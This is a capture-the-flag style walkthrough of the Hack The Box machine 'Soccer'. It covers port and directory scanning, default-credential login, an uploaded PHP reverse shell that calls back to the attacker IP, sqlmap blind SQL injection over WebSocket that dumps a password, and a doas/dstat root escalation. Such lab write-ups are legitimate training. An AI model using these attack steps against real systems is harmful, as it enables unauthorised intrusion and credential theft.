Description
Soccer is an easy Hack The Box machine that features:
- Directory Enumeration
- Use of Default Credentials
- Remote Code Execution
- VHOST Discovering
- SQL Injection over WebSocket
- Sensitive Data Exposure
- DOAS Privilege Escalation.
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.194.
$ ping -c 3 10.10.11.194
PING 10.10.11.194 (10.10.11.194) 56(84) bytes of data.
64 bytes from 10.10.11.194: icmp_seq=1 ttl=63 time=44.3 ms
64 bytes from 10.10.11.194: icmp_seq=2 ttl=63 time=43.3 ms
64 bytes from 10.10.11.194: icmp_seq=3 ttl=63 time=43.7 ms
--- 10.10.11.194 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.340/43.755/44.276/0.389 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.10.11.194 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.194
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
Nmap done: 1 IP address (1 host up) scanned in 66.19 seconds
We get three open ports, 22, 80 and 9091.
Enumeration (1)
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.10.11.194 -sV -sC -p22,80,9091 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.194
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.46 seconds
We get three services: one Secure Shell (SSH) and two Hypertext Transfer Protocol (HTTP) running on a Linux Ubuntu. As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We observe that the service is hosting a website, http://soccer.htb, so we add it to our /etc/hosts local file.
$ echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts
With WhatWeb tool we can enumerate the technologies of the website.
$ whatweb --log-brief web_techs http://soccer.htb
http://soccer.htb [200 OK] Bootstrap[4.1.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.194], JQuery[3.2.1,3.6.0], Script, Title[Soccer - Index], X-UA-Compatible[IE=edge], nginx[1.18.0]
We observe that the website is hosted using the nginx 1.18.0 web server. If we going to the web browser we get a simple template page about a football club without any functionality.
As we don’t get useful content, we are going to do directory enumeration with Gobuster tool to discover more directories.
$ gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 87584 / 87665 (99.91%)
===============================================================
Finished
===============================================================
We discover the /tiny subdirectory that corresponds with the web application TinyFileManager.
Looking at the documentation of the application we can find that the default password for admin user is admin@123 and for user user is 12345. After entering the admin credentials we enter into the application which lists the contents of the root web directory.

Exploitation (1)
The version of the application (2.4.3) is vulnerable to an Insecure File Upload vulnerability, CVE-2022-45476. If we enter into the tiny/uploads directory we can see that we have permissions to upload files, such as PHP files. So we can get a PHP reverse shell from our Kali Linux system, modify and transfer it.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
The lines to modify in the reverse shell file are these:
Lines to modify:
$ip = '10.10.14.154'; // CHANGE THIS
$port = 1234; // CHANGE THIS
After uploading the file clicking the Upload button we can see that the file was uploaded succesfully.
We need to create our listener.
$ nc -nvlp 1234
And then execute the PHP file, for example, using curl tool.
curl http://soccer.htb/tiny/uploads/php-reverse-shell.php
And finally we obtain the shell as www-data user, so we upgrade it.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.194] 42038
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
03:05:23 up 6:28, 0 users, load average: 0.05, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
script /dev/null -c bash
www-data@soccer:/$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
www-data@soccer:/$ stty rows 48 columns 156
www-data@soccer:/$ export TERM=xterm
www-data@soccer:/$ export SHELL=bash
Post-Exploitation (1)
As console users we find root and player user.
www-data@soccer:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
player:x:1001:1001::/home/player:/bin/bash
As the webpage is hosted on a nginx web server, Virtual Hosts might exist, whose can reveal subdomains. Virtual Hosts configuration is located in /etc/nginx/sites-enabled directory.
www-data@soccer:/$ ls -l /etc/nginx/sites-enabled
total 0
lrwxrwxrwx 1 root root 34 Nov 17 08:06 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 08:39 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
We can find one subdomain, soc-player, so we are going to see the server name.
www-data@soccer:/$ cat /etc/nginx/sites-enabled/soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
The server name is soc-player.soccer.htb, so we add it to our /etc/hosts file.
$ echo "10.10.11.194 soc-player.soccer.htb" | sudo tee -a /etc/hosts
Enumeration (2)
Scanning the website with WhatWeb tool reveals that the application is running over a Express NodeJS server, so we move to the web browser.
$ whatweb --log-brief web_techs_soc http://soc-player.soccer.htb
http://soc-player.soccer.htb/ [200 OK] Bootstrap, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.194], JQuery, Script, Title[Soccer], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]
Now we have a page in which we can create user accounts and log in.
So we create an account.
And then we login.
Now we have access to a web panel in which we can enter a ticket ID to check if it is valid.
If we intercept the request with Burp Suite we see that the communication between the client and the server is done using WebSocket protocol. If the ticket exists we receive the “Ticket Exists” message and if it doesn’t exists we receive “Ticket Doesn’t Exists” message.

Exploitation (2)
We can check with SQLMap tool if the application is vulnerable to a SQL Injection vulnerability.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}'
...
sqlmap identified the following injection point(s) with a total of 240 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"id": "53830 AND 4971=4971"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"id": "53830 AND (SELECT 5142 FROM (SELECT(SLEEP(5)))ewjS)"}
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
A boolean-based blind SQL injection is detected using the id parameter. The database manager is MySQL. As it is a blind injection, it will take more time to dump the contents of the database as it requires sending a lot of requests. Now we are going to obtain the existing databases.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' --dbs
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
[INFO] fetching number of databases
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
Apart from common MySQL databases we find the soccer_db database, so we request its tables.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' -D soccer_db --tables
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching tables for database: 'soccer_db'
[INFO] fetching number of tables for database 'soccer_db'
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
We only obtain one table for soccer_db database, accounts. Finally we obtain all data from accounts table.
$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' -D soccer_db -T accounts --dump
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching columns for table 'accounts' in database 'soccer_db'
[INFO] fetching entries for table 'accounts' in database 'soccer_db'
[INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
As we see, we obtained the password for player username, PlayerOftheMatch2022. As we have a player user in the machine, we are going to try to login over SSH.
$ ssh player@10.10.11.194
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
And we obtain a shell as player user.
Post-Exploitation (2)
Looking for ways to do privilege escalation, we see that DOAS binary is available. DOAS is a SUDO alternative for OpenBSD systems.
player@soccer:~$ ls -l /usr/local/bin/doas
-rwsr-xr-x 1 root root 42224 Nov 17 09:09 /usr/local/bin/doas
We can see its configuration file to check for all the binaries allowed to be executed as root.
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
The /usr/bin/dstat binary can be executed as root. In GTFOBins website we can see that we can spawn a shell using dstat binary by creating a Python script, and then specify the script name in the parameter of dstat.
player@soccer:~$ echo 'import os; os.execv("/bin/bash", ["bash"])' > /usr/local/share/dstat/dstat_esc.py
player@soccer:~$ doas /usr/bin/dstat --esc
The shell with root permission is spawned.
Flags
In the root shell we can obtain the user flag and the system flag.
$ doas /usr/bin/dstat --esc
root@soccer:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/tmp# cat /home/player/user.txt
<REDACTED>
root@soccer:/tmp# cat /root/root.txt
<REDACTED>